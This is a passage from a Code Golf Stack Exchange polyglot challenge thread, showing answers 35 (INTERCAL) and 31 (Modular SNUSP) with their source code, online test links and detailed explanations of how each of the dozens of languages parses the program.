3](https://tio.run/nexus/python3#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), and (as it's Christmas) `a partridge` in [A Pear Tree](http://esolangs.org/wiki/A_Pear_Tree).\nThe syntax highlighting that Stack Exchange produces for this answer is completely wrong. `#`<` is one of Perl 6's many multiline comment markers, and ends at `#>`, thus the only code that actually runs in Perl 6 is the very simple `say 27`. I chose this particular comment marker because `<>` aren't a matching pair in most languages, and thus the unmatched `<` won't break languages, such as Retina, that attempt to parse it.\nI'm not entirely sure how the Hexagony works any more. When it broke, I changed one of the characters it was using from a `+` to a `0` to see if it was being hit; turns out it was, and turns out this fixed the program, but I'm not sure why (I know it broke due to a `#` in the line of execution, but it's unclear why removing the `+` fixes things). (The character in question is also parsed by Thutu, but luckily this doesn't make a difference to the functioning of the Thutu program, as at that point in the program, anything that isn't preceded by an `=` is copied literally into the working string.) Note that the `0and+4` from a previous line became `0and 4`, to make it one character shorter from Hexagony's point of view (Hexagony doesn't see spaces); this is to compensate for the `#|` on a previous line becoming `#`<`|`, which is one character longer from Hexagony's point of view (because it doesn't see backquotes either). Note that the code's now only five bytes away from expanding the Hexagony side length and breaking everything about the current Hexagony code. I'd recommend doing this anyway and just redoing the Hexagony section of the code; it'll probably be easier, rather than harder, to fit everything in after an expansion. \nSome other languages changed too, mostly to add enough robustness that I could fit arbitrary code in on the last line. `$//` is a comment marker in Japt that allows spaces later on the line, making the added program less fragile in Japt (meanwhile, `//` breaks if there are any closing parentheses later on the line, and space is a sort of closing parenthesis in Japt). A pair of spaces is a comment marker in Pip, meaning that the Pip code can be substantially simplified here. This also means that we can simplify the 05AB1E down to a trivial `\"26`. Retina needs the fifth line to be a legal regex that's good at matching things (the trailing `|` is thus for Retina); it parses differently from the corresponding line in the previous entry, but in a way that's just as suitable. The Cardinal is also very slightly simpler than in previous entries, but this is just pure coincidence with how everything lines up vertically, and the change is to code that didn't do anything anyway.\nAssuming you redo the Hexagony (you'll probably have to), there are safe places to add code on all of the last three lines: the `3` in `#3]#` is only for Hexagony (and easily changed); the space between the `#` and `\"` on the final line is ignored by the vast majority of languages; and nothing's really parsing the end of the fifth line other than Retina. (There are plenty of other places where code can be added, too, but these are probably the most convenient.)\n[Answer]\n# 35. [INTERCAL](http://esolangs.org/wiki/INTERCAL) (C-INTERCAL), 631 bytes\n```\n#v`16/\"<\"6/b.q@\"(: ::Q): ␉␉␉␉ :(22)S#;n4\"14\"\n#>3N6@15o|>␉^*ttt*~++~~~%\n#= >␉1#v#v0l0mx01k1k0l0ix0jx0h0h1d111P0eU0bx0b0o1d0b0e0e00x1d0i0fx0g0n0n11x0o0n0cx0c0o0f0c0gx0g0f0h0j0j0i0001k10mx0m0l11111100(^_)\n#[␉\n#`<`|\nprint((eval(\" 1\\x2f2\")and(9)or(13))-(0and 4)^1<<(65)>>(62))or' (\\{(\\{})(\\{}[()])}\\{}\\{}\\{})'#46(8+9+9+9+9+=!)#1111|=/=1/24=x=9[<$+@+-@@@@=>+<@@@=>++.--.]/\n__DATA__=1#//\n#.\\.\"12\"␉*\n\"\"\"\"#//\n=begin␉//\n$'main'//\n#-3o4o#␉\n=end #//\n\"\"\"#\"#//\n#0]#echo 21#/ (\\[FAC,1<-#2FAC,1SUB#1<-#52FAC,1SUB#2<-#32FACLEGEREEX,1PLEASEGIVEUPPLEASE) a\n# +/Jn~\n#8␛dggi2␛`␉|1|6$//''25 >>>#>27.say# =#print(17)#$nd^_^_.]Q222999/+23!@1#\"26\n```\n`␉` is a literal tab, `␛` a literal ESC character; Stack Exchange would mangle the program otherwise. I recommend copying the program from the \"input\" box of the TIO link below, if you want to work on it.\n[Try them online!](https://tio.run/nexus/bash#jVjLcuPGFV0Lv@BNG4CHgEi8qJHsEUWONGONa5yxLY80SqpEPZpAk@wR0KDxEMnSo7JNKovss8ky/5FtviI/4pxukBIpUXYoEWg0uu@9fe6bvxryQw7SeDqI04IULC9IlPErlrnkzZTsUp5vNjesUcYTmk0JLYthmtkNsvt2SEXINE1tz9KoDLkYkGLICBejsiB9HrNcC2lBOmQ0I@/KATFIxmhULdP6aUbkFpJcxoQT9TFIniZysmDZKGO45kQwFpF8xELe56EiTtikYCLnqci1KNXkxnD0iNX9k8mwRtyLy0Y0U@KmZKRkn0s9zuhoBH6aQQ4hQ8ETlhNe1HLCaM4lONiSMxGpk47uYUsJFYsCkytOCcU5ykzRzllWQFJX0SVDljGQpJL5IKMJscYZL3AaCcQeOWA0I0cZYza4AECWh3QEOZZYglkqORTyIK4Cementv/TuxoAr3a4dFRoRrZx9PP3GiVum5jnLXzbut7S9n/8llybXTmGFCAGpYwyi9qkfUdyr9tl@E6CnjfIbjVQ1YBKTLx0VHigTLMC4j2MnKumO4oX2JKdR5pYMIJqVQRdkPeCHDfUucIyyxikeICUXuLIcSoGQBNHzUoh0RBky4cCwlREeYOwK2CWikpD6VjhezTkUFkuFUJ7gIeGEvnKshWcsG0Y0QzPOd88jUu1DjvzgsexBBhbJcX3fXJM@pTHcgveS1KV1BnLy7iQe0oRSb0nXLDIJXMxwjSSi5L0CuwoiKoJ2Hyy4ClKKCyGGlJ1VPnqv3//RzQYgM5eGKZZNDPWYxKlYZlAYKqEpTBEaa6poLESC@saknu1HQyuaMwjWkj2YjpjoYRQXMdpGUckBcNszHNGhvQKftXvs7BglYmnZQEZGyShl5V/88pucfCE9qBYxUDxxrGVkThJWfS/Ic5on9Ry78x6vW29/rLLII/t2uum5w1asDB3XU3hqfZbxnK896BDTZrMHumzMYmpGJR0gGOlAhtoGLJRMcMTuOQFEHvsFGrSmXm4mw81c/cxZ2XpM99f4CFtsfK@mb9SCUKYJgkU4MTQOaHZQOmFRDwDevH0MXcsuHrEXL@QS5YEuNCfEWEepmDVbMLCsgD4rEHGQx4OyVhJJyr1Vb7ymD2mFrnDAJ3@PWspTNB50dRc735KivEsCUcq@ikdxABJqrM0oWxicUIdUAXiQxnPYbnzqCs94yHI3x8eaHwvY0rGfimBLhyUD4RcQsV9xF4wap6LGryc5xwQydjL8ebo/U/Slf/IqkwCkKowtOiHKfIKts9iq3wxR0xj4TAljiC1mQyWrkLhZ4jl5VmoBs5C/NdtF3BZEjb1ak7oc5USH8dC0nm6TrGsNciJrp82EH7iHPoWZRzjoRTKISxmX8MwQpbnLqwbvurKRALp9Dqzb5cXFsMsHRN2a7dqq9gphRzhzB8QcskHjmiZ9hGgH3KwytUTmaK6mj6aohAQG8vWqz@8aVa54thLKDxxNF3t0foiKbXhBy4uU6l5L5mPzn032FwigVrh6c4@z4fqsrT0iVhP36jdedLrq8uKBUKa1iO81IskFWnFHAhxQb2P6ubCQ1dJsOwIS@zfMKhqwJxXG16PC6/H@s@tfPfmzXu1pt/r8ecWAQZZGM3vK5ZlZW8VSj2aD58ESrKE81GZFbETeYW8s//8OQLeT7UxpNMc@fPyfnAu2Fhqxuk/q5zZVvmgLqsV@bmMUVv9Do2QypxJ4/vBalrb5CODtSOnCVVSQdI4hjsCMgSMp@YMT4jLiM3vq4kqDJfjLRE8kfliJOvWZ3Y8ShAVQ1lWZHFKI68q9Dh70F6FM5vQQSqm3kLwcbPe/yHWPIaTh8quGJZFWV1lOfd7euIj@f0td5ut9Df33gT7s9sz6yHE1nN2WrlIhkjivIvppdeTw/M@hquPWh0m4wPUjvP7c8tYroKM00vTS6eq13MPaRUVzYiGTLnaw@NKG/oBqTlGyX7446fDg980JsUR1LK4uq4k916EyFii@H1KgCFWl//TCtUmZSghjR3f3fA9Hl4SZwFDLjerXPBRFdz3NQ@q7apPwBzPZnVh7s5bL@PhLREUpQuShxzPk3irKh3zoao4UcdH8IRPgqu0jQq3KpoapIdErCLMv/8VzQrxAStykvAcheZAyC4QldEwHb9WfKuK8@3eIXFQbioZ@kT/yvnaz/UGMfc@fnd84p/WiG5O9JmgspNQhfO9wNVhiCXHBypKz@q8RDUh6kxsrOo8NB7oOWTuktU9aoscbVthK9IWIlOC8sE5LMim7GJZgTJxc9auENlMgpNaSswJuUEfiD7YCUmw6eOpOkosy@ak/ZAQFnOw9y3rlcqa0XA1N9rqHOjodjpqlLEolbX1yVk3OvXyORpo5L7ymxOJxwtPqgLN37Xpdvybm5xOdf22Zi90x/sTZGcYnexSVJehyY5ZQpWWxVIVPObFsCrXUMOFQyqTuqzi5qWXFKkPjyIxzim7B@VCuTwokWC6ZC/O0cRGEWDqTQuJbimKqtq6L7l0gwj33o4aRNeetPlybw7Ai3nrh34ky5QMQ6SeyqqgmCjFsrFqfFDboXp0XVcbh1IFisSq/gWNMJqpqmfpFhj/ZTbuY/y3anzmSZV6TxqZ6iBP8FsIJ3zJx2YnXyEFAbN/rhBCYPzXanzS9Z2701X91CMxFlUI/rMMAteUvTtWvYUZ8WKb7P6BCcGmZMWPP9WvQg@/Aj0Ve792HaeIMqbXUvbZuoWEF13SLbr9rpBitqbeF57rta4tM25PPc8L7Y5lDttBfWO9XjfFumUKJ7DtFy@kWd@aeds8d3VXn2CRY8Z2CwZqmbRtipZJdywzajfX1Q481uv2NTbcoc28NumtZ74AUg3MZAzdf84sM7dlNeu7bnAL@T6nXJheI6Gja0sn@kT@ciDZm7xelzK45rkU4M7rHtYhOYA/9JQztWbK9wZJS7lbbRn6X381ri6CLU/f0be8nvvLrm5tk@3tn@1tQtbwIdtWs2kfGi3xUg9e6prR2fhxazfYTG86a2frRVGs39Xrd3d3X2lGm3TWAuPKuPJjP5n4wWVwiRGf@J8n/tAfBlEQBAc@@@T3Jn7PT4MIV4Y/f4Ih9/sTf@ALXwTBxE8xCCd@iEEf14F81QeRz/jjvi9pSxaJHwfq4/vW2bmtGSdrmnGxc3GjqaNaFkPzD7yC7qTZb@o2/N16ZUMrwYZtO5Yv/f@lfRbs7Fhbm3anY201bbyuEat7jf9bW15OLPvUvsWg@rdrxsst65v6q9lf@0vbkCLctL124DVftiftVyc7Zn237uzi0@7Ud2a310an7jqOe@pp5@ff7h3tnZ@3A8PzNMPtunrQ1NfWNR0fOdXusQEXaxiZNdmg1OQyZyN9mRprWlv@vIdEgTm5XG0w/FNDBaQmSEL@k3d7bxvBjmM01eDw0xtDPm0@PDbxuCEfP@x/t/9xf/9PjeDgw/7e4f5374/3Px1UY5tQOBwhde97cacZ33wRDQa8@cXF2k1ws2V6Xq3W3CTo1jpGp/m1i2BtkLZRgR98bRumiM7Oz87d05@bzearV6@8enPjy93A0Jtb/wM \"Bash – TIO Nexus\")\n## Rundown\nThis program prints **35** in INTERCAL, **34** in Rail, **33** in Incident, **32** in Whirl, **31** in Modular SNUSP, **30** in Whitespace, **29** in Trigger, **28** in Brain-Flak, **27** in Perl 6, **26** in 05AB1E, **25** in Pip, **24** in Thutu, **23** in Hexagony, **22** in Underload, **21** in Nim, **20** in Prelude, **19** in Reng, **18** in Cardinal, **17** in Julia, **16** in Pyth, **15** in Haystack, **14** in Turtlèd, **13** in Ruby, **12** in Fission, **11** in Befunge-98, **10** in Befunge-93, **9** in Perl 5, **8** in Retina, **7** in Japt, **6** in SMBF, **5** in Python 2, **4** in ><>, **3** in Minkolang, **2** in V/Vim, and **1** in Python 3.\n## Verification\nMost of the languages are tested by the test driver shown above. You can test Reng [here](https://jsfiddle.net/Conor_OBrien/avnLdwtq/) and Modular SNUSP [here](http://www.quirkster.com/iano/snusp/snusp-js.html); they output 19 and 31 respectively, as required. I tested Incident locally on my own system, using the official interpreter.\nNote that I added a few changes to the test driver in order to make it easier to spot hidden characters; various NUL bytes had crept into the program's output in certain languages. I've decided that this probably isn't a problem, because a) a wide range of submissions have been doing it, and b) the Befunge interpreters seem to be adding extra NUL bytes even though nothing in the program implies that (unless I've missed something), so it must have been going on for ages and is probably part of how the interpreter works. (Note that the languages that still output NUL bytes – the Befunges and Minkolang – haven't had their code changed for this submission.)\nThe previous Rail submission exits via crash, which is disallowed, but this is easily fixable (by adding a `#` at the end of the Rail program and adjusting the Hexagony to match) and so I didn't consider it a major problem. The Rail in this solution exits correctly.\n## Explanation\n### How the INTERCAL code works\nINTERCAL parses the entire program. However, syntax errors are a runtime thing in INTERCAL, not compile-time, and this is often used to create comments. (If a syntax error attempts to execute, it'll crash the program with error ICL000I, contrary to what Wikipedia incorrectly claims. But if you can prevent it executing somehow – and INTERCAL has a *lot* of ways to prevent commands running – it'll quite happily not execute without causing a problem.)\nAs such, we can prevent garbage at the end of the file running simply by exiting the program explicitly first (something that's required anyway, because INTERCAL crashes if the end of the program is reached without an explicit exit command). Handling the start of the program is more interesting, and exploits a parser bug. You can write something like `DO %20 READ OUT #8` to output `VIII` with a 20% probability (and otherwise do nothing). As far as I can tell, C-INTERCAL parses the lone % on the second line as indicating a 0% probability for the first command to run, and thus ends up consistently not running it every time. (I'm not sure *why* it parses it like that, but looking at the compiled code shows it generating a random number and comparing it to 0.)\nHere's how the INTERCAL program looked before fitting it around the rest of the polyglot:\n```\nDO,1<-#2\nDO,1SUB#1<-#52\nDO,1SUB#2<-#32\nDOREADOUT,1\nPLEASEGIVEUP\n```\nThis is fairly simple: instantiate a 2-element array; set the elements to 52 and 32 (decimal) respectively (INTERCAL's string encoding is best left unmentioned; I've forgotten how it works and had to do various experiments to figure out *why* these numbers encode `35`); read it out to standard output; and exit the program. I added an additional PLEASE at the end in order to terminate the GIVE UP statement, starting a new statement for the garbage at the end of the program, whilst keeping in acceptable bounds for polite conversation. Of course, the INTERCAL doesn't look quite like that in the finished product; I'll explain why as we go.\n### Buried under a load of `S`es\nThe most obvious issue with the INTERCAL program is that it contains the letter `S`. This is pretty much unavoidable, as there's no way to index an array without using the letter in question. However, `S` is an output command in Underload, and there's no way to prevent it parsing the entire program. The only solution is to place the INTERCAL code inside parentheses, Underload's equivalent of a string literal, so that it doesn't run immediately.\nHowever, we have two `^` characters at the end of the program, which execute Underload code; so those `S`es are going to get executed anyway if we don't do something about it. I could have changed it to another character, but decided it was easier to protect the code so that it becomes meaningless. `a` escapes a string in Underload (meaning that `^`, upon executing the string, will simply unescape it again rather than producing harmful side effects). We already have one `a` in the `say` used in the Perl 6 code (which in this arrangement of the code, is actually enough due to unrelated changes). However, so that people don't have to rely on that, I added another `a` at the end of the line (I wanted a character there anyway to make what would otherwise be trailing spaces visible, and because Hexagony needed padding as it is; note that the Hexagony was fairly easy to fix in this program, and doesn't really need separate discussion). So the Underload code is a little less fragile than it could have been.\n### Prelude to a lot of work and confusion\nAh, Prelude. Not normally the most difficult language, but it definitely was this time. There are two real problems: one is that adding extra parentheses on a farly long line runs the risk of disturbing the control flow of the Prelude program (as they create the equivalent of a `while` loop), and one is simply the problem of preventing them lining up vertically (which is responsible for most of the random moving around of whitespace on lines). Note that the Whitespace gave me some trouble too, but this program is equivalent to the previous one from Whitespace's point of view, so it was pretty much a case of \"fix the Prelude without breaking the Whitespace\".\nI'm not too sure how the Prelude actually works at this point. There are several fixes intended for it, like the 0 near the bottom-left corner, but they clearly don't function in the way I intended them to. (The Julia code also ended up moving to the bottom of the line because the parentheses in its `print` statement were really hard to deal with.) Perhaps we'll just have to leave it a mystery.\n## Breakdown in a Fission reactor\nAlthough the changes above were for fairly subtle problems which are hard to fix, there's a much more obvious problem; `DOREADOUT` matches the regex `R...O`, and thus will cause Fission to produce unwanted output on the fourth cycle, which is not enough time to output the intended output of `12`. And INTERCAL only has one instruction that produces output (unless you count crashing as output). One fix to this is to try to add whitespace between `READ` and `OUT`, to give us time to intercept the output, but that makes Whitespace angry. So for a while, I thought this program was impossible; `R`, `L`, `U`, and `D` are all entry points in Fission, and all capable of potentially running problematic code, and INTERCAL keywords must be in uppercase.\nHowever, there is a fix, and a fairly surprising one. As part of an internationalization effort, C-INTERCAL actually accepts keywords in multiple languages, with support for both English and Latin. We couldn't avoid `S` like this, but we *can* avoid `O`; `FAC` is a perfectly good substitute for `DO`, and likewise `LEGERE EX` means the same thing as `READ OUT`. (The program thus ended up in a mix of English and Latin, but that's OK; it hardly makes it any less readable.) As such, we can happily let Fission go mad in the bottom right corner, and just not let it produce any output. We can change the *actual* Fission code to end with `*` rather than `;`, which quits the entire program rather than just one thread; this code runs fairly quickly, so it exits the program before all the stray entry points have time to do any damage.\n### Knit 6, Perl 6\nThe next problem: The Perl 6 comments work by matching `<` and `>`. INTERCAL's assignment operator is `<-`. Luckily, that adds extra *opening* brackets, so I could just add a few closing brackets to cancel them out in an unparsed location in the program (just after the Pip code, in this case).\nHowever, I didn't want to change the whitespace budget of the program, but moving the Julia code (for Prelude) ended up adding an extra space to the last line; I had to remove one from somewhere. The double space is a comment marker in Pip, so I could hardly change those; the only remaining option is the space in `say 27`. Perl 5 golfers would immediately think \"well just do `say+27` then\" (unary `+` comes in handy surprisingly often!), but unfortunately this isn't valid Perl 6 syntax.\nWhat we *can* do, though, is to change `say` from function syntax to method syntax. Integer literals have a bunch of methods, including one to print them out, so `27.say` is a perfectly valid program of the same length.\n### Be square? Don't be there\nSo the next issue is that I've added an extra `.` to the program. SMBF users will know that that's clearly a problem in that language, producing stray output (NUL bytes in this case). There was *already* a `.` producing stray output last program, but that doesn't mean I shouldn't take the opportunity to fix it.\nThe basic idea here is to create an SMBF loop to comment out the offending instructions. This means moving the square brackets around. I took them from around the SNUSP code (because they were only there for the sake of Incident anyway, and Incident doesn't care *where* in the program they are), and placed the opening bracket at the start of the INTERCAL code, and the closing bracket just before the Trigger (thus neatly hiding both `.`s).\nUnfortunately, square brackets are meaningful to Retina; it sees `[…<-#…` and says \"that makes no sense, you can't create that range because `<` doesn't come before `#`\". Fortunately, this is easily fixable with a strategically placed backslash.\n### The centre-of-the-program incident\nThis happened last answer, and it's probably going to happen repeatedly from now on; various strings happened to randomly occur three times, and shifted around the centre of the program from Incident's point of view.\nThe most urgent token to handle was `1#`, which appears three times if you make these changes naively: `#= >␉1#` at the start of the third line, `__DATA__=1#`, and `echo 21#`. Why is this a problem? Because the `1#` on the third line overlaps the `#v` just after it, and two overlapping tokens causes neither of them to be counted. And `#v` is the token we used to comment the code before the Incident program out! I fixed this by sneaking in an extra `1#` very near the end of the program (only three characters follow it); none of the languages that parse that part of the program do anything with it.\nThere were various other problematic tokens to deal with. A couple were single letters, `P` and `U`; I dealt with these via changing a couple of filler no-ops in the Incident code from `x` to `P` or `U` respectively, giving a fourth copy. The change to the Fission code leaves `*` as a token, but notably, this is split differently from normal, appearing twice before the Incident code and only once afterwards. Instead of removing it, therefore, I used it to partially balance the new `LE` token that appeared in the INTERCAL code. That's enough to drive the centre of the program back over an `0o` token. Of course, changes to the program are quite likely to disturb this. (My attempts to get Incident onto TIO failed due to libdivsufsort not being available there, so it looks like we might benefit from a new interpreter, especially in JavaScript so that it can run online. If you're interested, take a look at [this question](https://codegolf.stackexchange.com/q/107533/62131).)\n[Answer]\n# 31. [Modular SNUSP](http://esolangs.org/wiki/SNUSP#Modular_SNUSP), 326 bytes\n## Program\n```\n#v`16/\"<\"6/b.q@\"(: ::T): ␉␉␉␉ :(22)S#;n4\"14\"\n#>3N6@15o|>␉^*ttt*~++~~~%\n#=~nJ>62)or'(\\{(\\{})(\\{}[()])}\\{})(\\{}\\{})'#46(8+9+9+9+9+=!)=#print(17)#]#echo 21#|/=1/24=x=9[<$+@+-@@@@=>+<@@@=>++.--.]/\n#8␛dggi2␛␉` |1|6$//''25 #>say␉␉ 27#T222999+/+23!@\"26\n```\nAs usual, `␛` is a literal ESC character and `␉` is a literal tab.\n## Rundown\nThis program prints **31** in Modular SNUSP, **30** in Whitespace, **29** in Trigger, **28** in Brain-Flak, **27** in Perl 6, **26** in 05AB1E, **25** in Pip, **24** in Thutu, **23** in Hexagony, **22** in Underload, **21** in Nim, **20** in Prelude, **19** in Reng, **18** in Cardinal, **17** in Julia, **16** in Pyth, **15** in Haystack, **14** in Turtlèd, **13** in Ruby, **12** in Fission, **11** in Befunge-98, **10** in Befunge-93, **9** in Perl 5, **8** in Retina, **7** in Japt, **6** in SMBF, **5** in Python 2, **4** in ><>, **3** in Minkolang, **2** in V/Vim, and **1** in Python 3.\n## Verification\nWhy no links in the rundown? Because I've been working on something to make testing much easier, a test driver that runs the program in most of the languages listed here and prints the result. This should hopefully make adding future languages to the polyglot much easier. You can get the results of this program for 28 of the 31 languages via running the following TIO link (which is a test driver written in a mix of Bash, Perl, and A Pear Tree):\n[Try them online!](https://tio.run/nexus/bash#jVfLetu4FV6Hr5DNGYoTkZFJWHTsxNZlnGScfklnMmnsmS5sjw2RkISYBDkAaMufL1@33XXfF@h7dNun6IukB6AkS7Y8U9kkQPAA5z/3w68N84NPRXY5ygoNmikNqeTnTEbw5hJ2KVeb8UbkOJZMFmmVcDECPWbARVlpGPKMKSehGvpQTo@JzAQaIBlNazJnWEgwWyA/y2D6a4AqcrOomSwlw7sCwVgKqmQJH/LEHg5soplQvBDKSQvHbEzKe6zmTx5DGsFmcFlJpYVbQGmxz1BfSFqWyM9pwD5i0DxnCrhuKmBUcaME3KKYSK2k5Vw9BVCxCBjOOQWKclTSnq2Y1Ig0sufCmEmGR1LDfCRpDv6F5BqlMYp4DZ8YlXAgGQuQCyqQqYSWiGOJJTIrDAdtBImsorvd5t5P75qo8HpHREvtNOTGwV8@OBSiHngnHbx6rttx9j5@D1fekZkjCjwMjVJKnwbQuwVFjo4YXpP2gIzkjYOnOqiVDEhRaoInU6kR3t0sPI@jMltgC917llhwgpoqRVugrEN2ARkVo4qOUMJCIClNElbqqUEKgSKmXNyX0C6GU3NFaux4u/d5WthTQy7w0PSM1aqcKp8aSyRFnlORhhkXDKgcVTlDnaRcskRnl/e5I8H5PebuqSFZAnDqPgJh5nPoM2zCkkrTQcbW4GLMkzFcWHQCxvScGceS1QPhcWmRu8whHM5ZGzDt/rPYich8ycB49IjQmPbhOWhQc1R/acF6weKCFdBG1b4JTprNQwhMaM8jdi48auODcRDJfqtQuwoUHwlDQsU8/NAaKat9nyvR1BhNiqOKTCBxfHPw/icTSX9ldVpAJdU@tZB@cG3Icfs0UMyLmcYclowLCAU0pxh81/r1F4RFlEzsJFwIZjeIUF2@UZt9NTvoS53f7js29B/SWZbNNTh03eM1GNJMob1FlWX4UInE5AafBVfoGAlTKkLvLiodmayA6NwWC26WCfVYFhfAboJOcxU7a5ADlPmHArPcDxzzVjGE9wsJ1Sbeick3R45bXupxITaWvdc1b3bgFxswGDZFAVlR50zUhru4z6rvRy7OCmNmks9mJ@tRezMqF/IwZvmHO4dcje1tiXSOoaaNV7yxu1U@GNrbCgJh/OiecuyLvBBFzRzVwQUln@0QYTiuQrDs9Uvs3zC0y4iF2xtkwAUZsOFjlO/evHlvaYaDAX@MCNVgStpsXEEmq8EqLQ2oGj/IirCk54NK6ixMiTYj@8/fUtT3Q2uM6aXSNDmbT04EuzCWCYePGme61TzY22pDfqkyrIp/cEZCJcpAs/lk9Vk78JmhM3LsDGwxRKRZhrGHKsPssOQ3NTTJsipls3H1oVaHy8kVBM9NcShNx/HIjnvVoGZYiRS9pqApqUs0Z3fWq/XMJnRUiEuykGkiOfg/YM0SNtzVZD2udFXfTSH@Izvx0ly/F25TyvXN12/ae9PhEXoEsfWYn9YhIil65buMnpGBmZ4Mcbpa1FoYyUcjJmfjY2RM2SQTDoriLKw7LUWwhmKvWtKE2VC7e1zpQz9iHc6w2dr/@PP@p99zJptQP1disXFQa9POCde4BEzYWHhUNGtGG3dvQVCs/5iBzXxWCTv4hBzVuKiyFKu9SNHDfhbc1r6kkHXnsQYDrGY2cv/9L@yANc8yGDGtIOeKZlg7TV@M7cW4uPjO8rVOEb59vQ/hHjQthiG434Yv15W7Bt7rz3/65XD9uAmuN3GnQNG3sBdJFwDXwoBv5p9s9ps2S3ldDIxM7MI2S0khzrFXMn24mSssNvgY2KN9jPgca3C4r2HT9PVMY6@1iSNSYuHG9ho5WVLwJnA9BZ@ViDzv3aXWxdJFvmeDyvoFNp3xRs8ix66227czydKiA9jeXnlRf/36WtFL171pBgv9/95ES4pmxhKYUwPcMd8ERvSi0kut4QXX47qHwcYmGVNJE/s1MutHDMMheh5k@EVjPiisqykjBhjl1L1G3TWFeaWHryA0smGDzch///FPMuqYZlvj/O/1/FdidEGaD5pZe9Ac6CJIrOHTXILOZPpvpHqLauB6B3b/zIRgl@CjaXMqsbmuMLplsDb7gsPJW/S9hK1Aute8yoqEZh7pWP12bhQ5PD2CJ0fimCDcS/KURKRz5XtZ75IQkgR93xv32q2N562WJ577ngjbQfDsmbHJjad63knkRu4EiUIvCzqof9@jPU90PNr1vbQXP7c78LHVCq5ww60i0ZVHb4j37EiQNVyRDD9BFfM9FZgOZj2K2jcI7kvBhUfWclpe@S64E6ADZdh7vNUyGCLvxAC4JUf7LUSOOt8n4D2zU6tyMso71v2by3r/@rVxftreIm7X3SKD6Ldd19@BnZ2DYAfgCf5gx4/jYL/RES/c9gvXafQ3Pm7ttjeL6/6TX59rrZ/ftlq3t7ffOo3erfjQ/ey2Y/zkeuI0DvE67Z5eO5at77Nzmvlu@2gSD2M3MJ7lbweoofZGEIT@ull4Efzqt4Nu19/aDPr9rRhfN/2jK/y/Cczt0A@Og5vZkxmbjRdb/qvW9vSv903Qa9T82i@DxnHD9qVxu3FNem0Sv@hNetuHXa@12wp38dfrt7rT4btGvxWFYXRMnMarp@loxOOnT07hun295RHSbMabmEj6GGyokvhl4yCO4@3t7RZpxRvf7Lrx1v8A \"Bash – TIO Nexus\")\nThe link also produces the `␛`/`␉`-formatted code block seen above, and formats the code into a hexagon for you:\n```\n # v 1 6 / \" < \" 6 / b\n . q @ \" ( : : : T ) : :\n ( 2 2 ) S # ; n 4 \" 1 4 \"\n # > 3 N 6 @ 1 5 o | > ^ * t\n t t * ~ + + ~ ~ ~ % # = ~ n J\n < R \" 1 2 \" ; # [ # < | p r i n\n t ( ( e v a l ( \" 1 \\ x 2 f 2 \" )\n a n d ( 9 ) o r ( 1 3 ) ) - ( 0 a n\n d 4 ) ^ ( 1 ) < < ( 6 5 ) > > 6 2 ) o\n r ' ( \\ { ( \\ { } ) ( \\ { } [ ( ) ] ) }\n\\ { } ) ( \\ { } \\ { } ) ' # 4 6 ( 8 + 9 +\n 9 + 9 + 9 + = ! ) = # p r i n t ( 1 7 )\n # ] # e c h o 2 1 # | / = 1 / 2 4 = x\n = 9 [ < $ + @ + - @ @ @ @ = > + < @\n @ @ = > + < ? # > + . - - . ] / #\n 8 . d g g i 2 . | 1 | 6 $ / / '\n ' 2 5 # > s a y 2 7 # T 2 2 2\n 9 9 9 + / + 2 3 ! @ \" 2 6 .\n . . . . . . . . . . . . .\n . . . . . . . . . . . .\n . . . . . . . . . . .\n```\nThree languages are missing: V is too slow, and Reng and Modular SNUSP are not installed on TIO. Luckily, all three have online interpreters:\n* You can test the program in V/Vim (intended output: 2) [here](https://tio.run/nexus/v#NVBNT8JAED23f4HLsoPpDpuy7lAWWnZrzx48KDc@UhREElMUG4Kx9K9jifjezLzMe4dJ5gyHXBvFLTfqufeZcZGwJJlgwpjXgCWCCJ9gXERcR9yHtP9gMj3YVam36JZl2a2lrOv6xgdXF/f2kWviY@b5MG06t3nlf@y3RSnE@rB8F1zPjvRKHJfFiokYd3uh@4ihuL0YES6ERmuFGWCaGmriQMx@mjrhZUwFzvH0v100gMiIkYyvdG108HdPDxHmsH552zHSUCmnFUXu6OKp7chMhlkDl0p7lTtIZS8Me3Plw6i12my21PJyVunKdJQKAhowBunX8rt5CQ1hQkRxHEslqd/OOJnz@Rc) on TIO.\n* There's an online Reng interpreter (intended output: 19) [here](https://jsfiddle.net/Conor_OBrien/avnLdwtq/).\n* There's an online Modular SNUSP interpreter (intended output: 31) [here](http://www.quirkster.com/iano/snusp/snusp-js.html). (It's advertised as just a SNUSP interpreter, but Modular SNUSP is the dialect it actually implements, as seen by the `@` signs all over the page.)\nAll three produce the intended output, so all 31 programs are properly tested. (One thing that concerns me slightly is as to whether the Whitespace program is terminating correctly; however, the whitespace here is identical to the previous submission, so they're both right or both wrong. If it turns out that the program is indeed terminating incorrectly, both programs are likely to be fixable in the same way.)\n## Explanation\nFirst off, the Hexagony, which always seems to need changing. It's actually much simpler than before; I moved the Hexagony code to just after the Trigger code, meaning that it's very near the end of the program, and the Hexagony \"capsule\" that prints 23 and exits gets to run almost immediately. The last line generally looks like a good place to put the capsule, as it means fewer commands that might potentially disrupt the Hexagony will run.\nAll the other changes are to do with the addition of the Modular SNUSP code. The first thing to note is that SNUSP starts executing at the first `$` character in the program, and is a 2D langauge that exits after going off the edge of the program, and thus by placing the SNUSP program at the end of the long line (inside the Thutu code, at a point where Thutu will accept almost anything), we can ensure that SNUSP doesn't see any code from other languages, and most other languages won't care about the SNUSP. One language that *did* care was Perl 6, which is parsing angle brackets; I placed a `<` immediately before the SNUSP code to keep it happy (as the brackets were naturally almost matched anyway). The other language that cares is SMBF; `.` outputs in both SMBF and SNUSP, and we don't want to create extra output. Luckily, as seen by SMBF, this program is `<.>>[…]` followed by the SNUSP code, i.e. the current tape element is 0. So enclosing the SNUSP code in square brackets \"comments it out\" from SMBF's point of view.\nAs for the code itself, it uses a well-known trick for writing constants in Modular SNUSP in which you write a lot of \"start procedure\" commands in a row and effectively create a sort of base-Fibonacci number. The basic idea is that `+` encodes the number 1; `@` adds together the number represented by the code after it, and the number represented by the code after it minus its first character; and `=` is a no-op (thus `@=` will double the number to its right). In this system, I picked `@@@@=+@@@=+#` as a representation of the number 